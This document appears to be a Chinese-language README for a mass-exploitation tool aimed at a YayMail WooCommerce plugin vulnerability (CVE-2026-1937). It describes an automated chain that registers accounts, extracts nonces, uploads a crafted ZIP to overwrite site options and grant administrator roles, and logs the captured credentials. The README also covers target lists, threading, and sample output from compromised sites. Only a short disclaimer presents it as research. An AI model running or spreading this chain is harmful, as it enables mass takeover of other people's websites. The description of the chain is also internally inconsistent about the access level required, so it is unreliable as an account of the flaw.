描述:
用于 WordPress 的 YayMail – WooCommerce 邮件定制器 插件在所有版本(包括 4.3.2 及更早版本)中存在 未授权修改数据,进而导致权限提升 的漏洞。yaymail_import_state AJAX 操作在注册时未经过任何服务端能力检查,使得拥有 商店管理员 (Shop Manager) 级别或以上 权限的已认证攻击者可以随意调用该操作。通过上传特制的 ZIP 导入文件,攻击者可以静默覆盖任意的 WordPress 站点选项——包括将 默认的新用户注册角色设置为 administrator 以及 启用开放公开注册。一旦这些选项被注入,任何访客都可以在站点上自行注册并获得完整的 WordPress 管理员 账户,从而导致站点被完全攻陷。
这是一个 概念验证 (PoC) 批量利用链,针对运行存在漏洞版本的 YayMail 插件的 WordPress + WooCommerce 站点。该工具实现了完整的端到端攻击流程:WooCommerce 注册 → 登录 → YayMail nonce 提取 → yaymail_import_state 漏洞利用 → 管理员验证。
[Phase 1 — Registration]
GET /my-account/ → Extract WooCommerce register nonce
POST /my-account/ → Register new account (WooCommerce form)
→ Save credentials to reg.txt
↓
[Phase 2 — Login]
POST /wp-login.php → Try WordPress native login
POST /my-account/ (WooC.) → Fallback WooCommerce login
→ Establish authenticated session
↓
[Phase 3 — Admin Pre-check]
GET /wp-admin/ → If already admin, skip to result
↓
[Phase 4 — YayMail Exploit]
GET /wp-admin/admin.php?page=yaymail-settings
→ Extract: ajax_url + nonce
POST /wp-admin/admin-ajax.php
action=yaymail_import_state
nonce=<extracted_nonce>
import_file=yaymail_backup.zip
→ Override WordPress options:
· default_role = administrator
· users_can_register = 1
↓
[Phase 5 — Admin Verification]
GET /wp-admin/ → Check adminmenu / wp-admin-bar
GET /wp-admin/users.php → Confirm manage_options access
↓
[Save to Nx_admin.txt]
Format: [timestamp] https://target.com user:<u> pass:<p>
yaymail_backup.zip — 特制的导入载荷(必需)pip install requests urllib3 rich
或通过 requirements 文件安装:
pip install -r requirements.txt
requirements.txt:
requests>=2.28.0
urllib3>=1.26.0
rich>=13.0.0
# Clone the repository
git clone https://github.com/Nxploited/CVE-2026-1937.git
cd CVE-2026-1937
# Install dependencies
pip install -r requirements.txt
# Place your crafted import payload in the same directory
cp /path/to/yaymail_backup.zip .
# Run the tool
python3 CVE-2026-1937.py
python3 CVE-2026-1937.py
该工具使用由 Rich 驱动的全交互式终端界面。
创建一个纯文本文件(默认为 list.txt)——每行一个目标:
https://target1.com
https://target2.com
http://target3.com
target4.com
没有
http://或https://前缀的目标会自动补上https://。
Username [Nx_admin]: Nx_admin
Password [Nx_adminSA]: Nx_adminSA
Email [[email protected]]: [email protected]
Targets file [list.txt]: list.txt
Threads [3]: 5
HTTP timeout (seconds) [10]: 10
yaymail_backup.zip该漏洞利用需要一个特制的 YayMail 导入 ZIP 文件,导入时会覆盖以下 WordPress 选项:
| WordPress 选项 | 注入值 |
|---|---|
default_role | administrator |
users_can_register | 1 |
⚠️ 如果工作目录中不存在
yaymail_backup.zip,工具将拒绝运行。
POST /wp-admin/admin-ajax.php
action=yaymail_import_state
nonce=<extracted_from_yaymail_settings_page>
import_file=yaymail_backup.zip (multipart upload)
根本原因:
yaymail_import_state 处理程序在处理导入之前没有调用 current_user_can() 或任何等效的能力检查。任何拥有 shop_manager 角色(或更高级别)的用户都可以随意调用此操作,并通过 ZIP 导入机制覆盖 wp_options 表中的任意条目。
该工具会自动扫描以下路径以查找注册和登录表单:
/my-account/ /my_account/ /My-account/
/account/ /myaccount/ /customer-login/
/login/ /register/ /sss/
| 文件 | 描述 |
|---|---|
reg.txt | 所有成功的 WooCommerce 注册及其凭据 |
Nx_admin.txt | 所有已确认的管理员权限提升 |
reg.txt:
[2026-03-01 14:22:10] https://target.com user:Nx_admin email:[email protected] pass:Nx_adminSA
Nx_admin.txt:
[2026-03-01 14:22:18] https://target.com user:Nx_admin pass:Nx_adminSA | yaymail import
╔══════════════════════════════════════════════════════════════════╗
║ WooCommerce · YayMail · Mass Exploit Chain ║
║ By: Nxploited | GitHub: github.com/Nxploited | @Kxploit ║
╚══════════════════════════════════════════════════════════════════╝
[SCAN] https://target.com
[REGISTERED] https://target.com :: user: Nx_admin pass: Nx_adminSA
[LOGIN-WP] https://target.com :: wp-login.php
[SEARCH-NONCE] https://target.com :: not admin, trying YayMail chain
[NONCE-FOUND] https://target.com :: nonce: a1b2c3d4e5
[EXPLOIT] https://target.com :: nonce: a1b2c3d4e5
[SUCCESS] https://target.com :: user: Nx_admin pass: Nx_adminSA
┌──────────────────────────────────────────────────────────────────┐
│ Target │ Status │ Credentials / Note │
├──────────────────────────────────────────────────────────────────┤
│ https://target.com │ ✅ EXPLOITED (ADMIN VERIFIED) │ user: Nx_admin … │
│ https://target2.com │ NO-REGISTER │ │
│ https://target3.com │ DEAD │ │
└──────────────────────────────────────────────────────────────────┘
本工具仅供教育和经授权的安全研究目的使用。
作者 Nxploited (Khaled Alenazi) 以及本项目的所有贡献者不纵容、不支持,也不承担任何责任,对于滥用本工具或在对未经明确书面授权的系统使用本软件所造成的任何损害。
- ✅ 允许: 在您拥有或已获得明确书面许可进行测试的系统上使用。
- ❌ 禁止: 在未经系统所有者事先明确书面授权的情况下,对任何系统使用。
未经授权访问计算机系统属于违法行为,将根据适用法律受到处罚,包括但不限于《计算机欺诈和滥用法》(CFAA)、《计算机滥用法》(CMA) 以及全球范围内的同类法规。
使用本工具即表示您对自己的行为承担全部和唯一的责任,并确认您拥有测试目标系统的合法权限。
对于因使用或滥用本软件而产生的任何直接、间接、附带或后果性损害,作者不承担任何责任。
© 2026 Nxploited (Khaled Alenazi) — 仅限经授权的安全研究使用。
| 字段 | 详情 |
|---|
| CVE 编号 | CVE-2026-1937 |
| 严重性 | 高危 — CVSS v3.1 评分:7.2 |
| 攻击向量 | CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H |
| CNA | Wordfence |
| 研究人员 | Daniel Basta (whizzu) — NASK PIB |
| 公开披露时间 | 2026 年 2 月 17 日 |
| 最后更新 | 2026 年 3 月 27 日 |
| 受影响软件 | YayMail – WordPress 的 WooCommerce 邮件定制器插件 |
| 受影响版本 | 4.3.2 及之前的所有版本 |
| 漏洞类型 | 缺失授权 → 未授权任意选项更新 → 权限提升 |
| 是否需要认证 | 是 — 商店管理员 (Shop Manager) 级别或以上 |
| CWE | CWE-862:缺失授权 |
| 状态 | 颜色 | 含义 |
|---|
EXPLOITED (ADMIN VERIFIED) | 🟢 绿色 | 完整攻击链成功 — 已确认管理员 |
EXPLOITED (ADMIN) | 🟢 绿色 | 注册用户已是管理员 |
PARTIAL | 🟡 黄色 | YayMail 导入成功,但未确认管理员访问权限 |
REGISTERED | 🟡 黄色 | WooCommerce 注册成功 |
LOGIN-WP | 🔵 青色 | 通过 /wp-login.php 登录成功 |
LOGIN-WOO | 🔵 青色 | 通过 WooCommerce 表单登录成功 |
NONCE-FOUND | 🟣 品红色 | 成功提取 YayMail nonce |
NO-REGISTER | ⚫ 深色 | 未找到 WooCommerce 注册表单 |
LOGIN-FAILED | ⚫ 深色 | 无法建立已认证会话 |
NONCE-NOT-FOUND | ⚫ 深色 | YayMail 设置页面无法访问或缺少 nonce |
EXPLOIT-FAILED | 🔴 红色 | yaymail_import_state 调用未返回成功 |
TIMEOUT | ⚫ 深色 | HTTP 超时 |
DEAD | ⚫ 深色 | 连接被拒绝 / 无法访问 |
ERROR | 🔴 红色 | 意外异常 |